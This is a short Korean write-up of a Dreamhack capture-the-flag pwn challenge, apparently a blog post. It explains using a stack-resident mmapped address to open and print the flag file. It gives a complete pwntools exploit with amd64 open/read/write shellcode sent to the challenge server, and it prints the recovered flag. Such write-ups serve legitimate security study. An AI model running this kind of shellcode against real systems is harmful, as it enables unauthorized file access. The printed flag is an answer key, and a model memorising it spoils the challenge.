배경

  • 시험 준비하다가 하나 풀었다

익스 방법

  • 스택에 남아있는 mmaped space의 주소를 가지고 open을 해서 flag파일을 읽고 write로 출력하면 된다.

익스 코드

from pwn import *
context.log_level = "debug"
context.os = "linux"
context.arch = "amd64"


#io = process("./prob")
io = remote("host3.dreamhack.games", 22648)

pay = asm("""
    mov rax, rsp
    mov ebx, [rax-0x2c]

    mov rcx, 0x67616c66
    mov [rbx], ecx
    mov edi, ebx
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 2
    syscall

    mov rdi, rax
    mov rsi, rsp
    mov rdx, 0x100
    xor rax, rax
    syscall

    mov rdi, 1
    mov rsi, rsp
    mov rdx, 0x100
    mov rax, 0x1
    syscall

    mov rdi, 0
    mov rax, 231
    syscall
""")
io.send(pay)


io.interactive()
# DH{b7c992d0974343:w/3nMT31H+lsVh3brqvD7g==}